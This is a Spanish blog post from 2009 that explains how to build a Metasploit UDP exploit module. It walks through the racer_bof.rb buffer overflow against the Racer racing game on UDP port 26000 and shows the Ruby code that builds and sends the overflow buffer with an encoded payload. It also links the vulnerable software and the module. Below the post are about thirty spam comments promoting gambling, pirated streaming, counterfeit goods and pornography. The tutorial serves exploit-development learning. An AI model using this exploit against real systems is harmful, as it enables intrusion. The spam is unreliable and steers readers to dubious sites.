miércoles, 4 de marzo de 2009

Metasploit -> MSFXDC(Protocolo UDP)

Remotos:
UDP: racer_bof.rb

Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.

Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.

1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb

Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.


Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################

En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos

buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)

udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.

handler #--> Controla la conexion

disconnect_udp #--> Y termina la conexion
########################################################################################################

Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################

Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar

Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5

--------------------------------------------

Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P

Saludos y espero que a alguno le sirva.

34 comentarios:

Unknown dijo...

adidas stan smith sneakers
michael kors handbags
nike air force 1
roshe shoes
timberland boots
yeezy boost 350
adidas tubular
kobe 11
true religion
michael kors outlet

Unknown dijo...

mt1206
louis vuitton outlet
michael kors
michael kors outlet online
michael kors
uggs outlet
supreme clothing
ralph lauren outlet
north face outlet
coach factorty outlet online
uggs clearance
mt1207

JannethManalu dijo...

Very interesting blog. Alot of blogs I see these days don't really provide anything that I'm interested in, but I'm most definately interested in this one. Just thought that I would post and let you know

https://tikibet88.com
https://tikibet88.net
http://tikibet88.info
http://tikibet88.org
http://tikipoker88.com
Poker Ceme

Harry dijo...

http://extendedwarrantiesforrangerover.com/
rarin.org
http://poker-jatekok.com/
http://www.555-poker.com/
http://www.hdmobilepornmovies.com/
http://sexyspiritualrelationships.com/
http://www.catcthemes.com/
http://blackhawksgame.com/
http://e-celebrities.org/

ajith7444 dijo...
Este comentario ha sido eliminado por el autor.
ajith7444 dijo...

http://dirint.net/
http://mustang-spirit.org/
http://bestcasinostoday.com/
http://casinovirtualblog.com/
http://www.free-german-porn.net/
http://www.francaisesporno.com/
http://www.babyowlblinks.com/
http://sportsmisc.com/
http://velo-city2012blog.com/

Harry dijo...

Terrarium Tv On Roku
Terrarium Tv is indeed an amazing app in https://couchtuner.cam/other-brands/g2gmovies and there are quite a lot of users who are asking to put in terrarium tv on Roku gadget however sadly, you can not install terrarium tv on Roku natively.Go: https://couchtuner.cam/other-brands/popcornmovies

Harry dijo...

Today's Cricket Betting Predictions, Odds & Tips
Casino gaming was always confined to players over 21, but say Senator Dardenne's SB33 in 1998 raised the age for video poker machines and the State Lottery. A 19-year-old and also whoever owns a pub with Agen Judi Poker http://192.138.17.34/ machines filed lawsuit asserting that the law violates the state constitution.

Harry dijo...

How To Host An Unforgettable Backyard Outdoor Movie Night
When you open the location, you will discover over 65,000 motion pictures amongst which you'll be able to seek for any film by typing the film title within the Vumoo, search bar supplied on the highest. Go here for more https://couchtuner.cam/other-brands/yesmovies.

Ramapriya dijo...

Travel with poker. One of the most famous among its lineup is that the Titan poker game. Go for Badugi poker, which is among the judi online most exclusive variant of poker to acquire the complete betting pleasure.

Hip Flexors dijo...

Unlock Your Flexors is an outstanding device for any health or health expert that has enhance quality and to reduce torment being endured by how to unlock your hip flexors a significant number of people on the market.

Anónimo dijo...

When you're an athlete or an individual, you will still have to endure with the hip due to the quantity of time you'll spend a how to unlock your hip flexors lot of time sitting in a computer seat.

Garage Ideas dijo...

At the core, we're a company specializing in making your thoughts and goals a reality- by our service to our efficient dispatch system, we endeavor to fulfill all your Garage Ideas requirements.

Scholarship Essay dijo...

You are starting to enable you to file your scholarship program sooner than many others and how to write a scholarship essay. Tell us your distinctive narrative, beginning about who you are, your background and your family has contributed to who you are as an individual, with an introduction.

Essenz Media dijo...

Being ranked amongst the highest Web Advertising Skilled in the western area in India, our performances converse for us itself https://www.essenzmedia.de/ , and our courage to supply the most effective Web Advertising Answer has made us a dependable group with a loyal consumer database.

Cat Food dijo...

I found the exhausting means when our energy went out. I did not suppose to retailer feminine hygiene merchandise, which created the partner annoyed https://kellysthoughtsonthings.com/cornucopia-certified-organic-natural-pet-food/, which added to my perspective and that i additionally forgot concerning the pet food, so we went out.

Ideas of bachelor Party dijo...

A crazy and wild bachelor party in Raleigh demands something mad and crazy! Recent research from Updated Factors demonstrated the normal price of a bachelor or bachelorette party is a person if you mix the costs of airfare, hotel stays alcohol, dining, and entertainment.

Harry dijo...

Three Things to Check When Choosing a Casino Online
From the latter, all the league's players wearing the technology could bandar judi bola contribute information to understand the effectiveness of various products and treatments for harms.

Harry dijo...

From then only require a real website, which saves a bundle by registering procedure or all film accessible https://fmovies-online.com/best-brand/g2gmovies with crystal clear audio and incredibly higher image quality.

Harry dijo...

How to Play Poker Online On Linux Using A Windows Poker Client?
It's not possible to discount PokerStars QQ Poker online http://107.178.109.59/ as it has to do with tournaments - however, you will have to bear in mind your opponents will probably be experienced (generally) than the other websites.

Harry dijo...

Top Online Casinos and Gambling Tips & Articles
The worlds of gaming and sport are intertwined. Sports gaming are a remarkably popular last time in this nation. Let's determine which person had the worst gaming addiction 먹튀 검증 https://to-chelin.com/ and take a peek at a few of the worst offenders.

Harry dijo...

Online Casino Poker
Although I have actually never ever taken a trip to that city neither America. Whether you favor web card video games, casino online ports, or online 토토 사이트 https://to-planet.com, we'll allow you recognize what makes a great betting web site.

Harry dijo...

On-Line Casino Video Games
For even more information on on-line 토토 사이트 https://toto-god.com casino video games, check out online. If you're searching for even more info concerning a particular casino video game or on-line casino, never ever are afraid!

Unknown dijo...

The customer's loved ones may play an active part in that individual's restoration by will support groups for family members to learn more and what to anticipate during the very first years of healing in the home and attending 안전 놀이터 https://mt-over.com/ therapy sessions.

Harry dijo...

The Impact Within The Sporting Activity
Option video games are frequently makes the place that the player products actually not any type of influence on the impact within the 먹튀 검증 https://to-bot.com sporting activity.

Harry dijo...

The business name is enough to specify the grade of the material provided on the site. The caliber exhibited using this website https://free-couchtuner.com/other-brands/popcornmovies the very best, but is based upon the net of their consumers

Harry dijo...

It has https://couchtuner.digital/releases a straightforward user interface and also a great photo of high quality. T.V. serials, and also desi dramatization in high top quality.

Harry dijo...

"I'd wish to see new circumstances plateau and begin to lower," says Aukerman. It's like having a dam with a bunch of holes in it. What Would Faculty Soccer within the Spring Seem like? Click here for more https://ubola88.id/.

Harry dijo...

Write more; that’s all I have to say. It seems as though you relied on the video to make your point. You know what you’re talking about situs judi qq online https://kokoqq.vip

Harry dijo...

It’s a shame you don’t have a donate button! I’d certainly donate to this brilliant blog! https://bolakoko.com

Harry dijo...

It’s always so sweet and also full of a lot of fun for me personally and my office colleagues to search your blog a minimum of thrice in a week to see the new guidance you have got https://gordonsfightback.com.

Harry dijo...

I look forward to fresh updates and will talk about this blog with my Facebook group. Chat soon https://www.borremoselracismodellenguaje.com!

Bandar Togel Online dijo...

sangat mudah untuk daftar di bandar togel online kingdomgrup http://128.199.187.54/

butough dijo...

this post go to website hop over to this web-site here This Site Look At This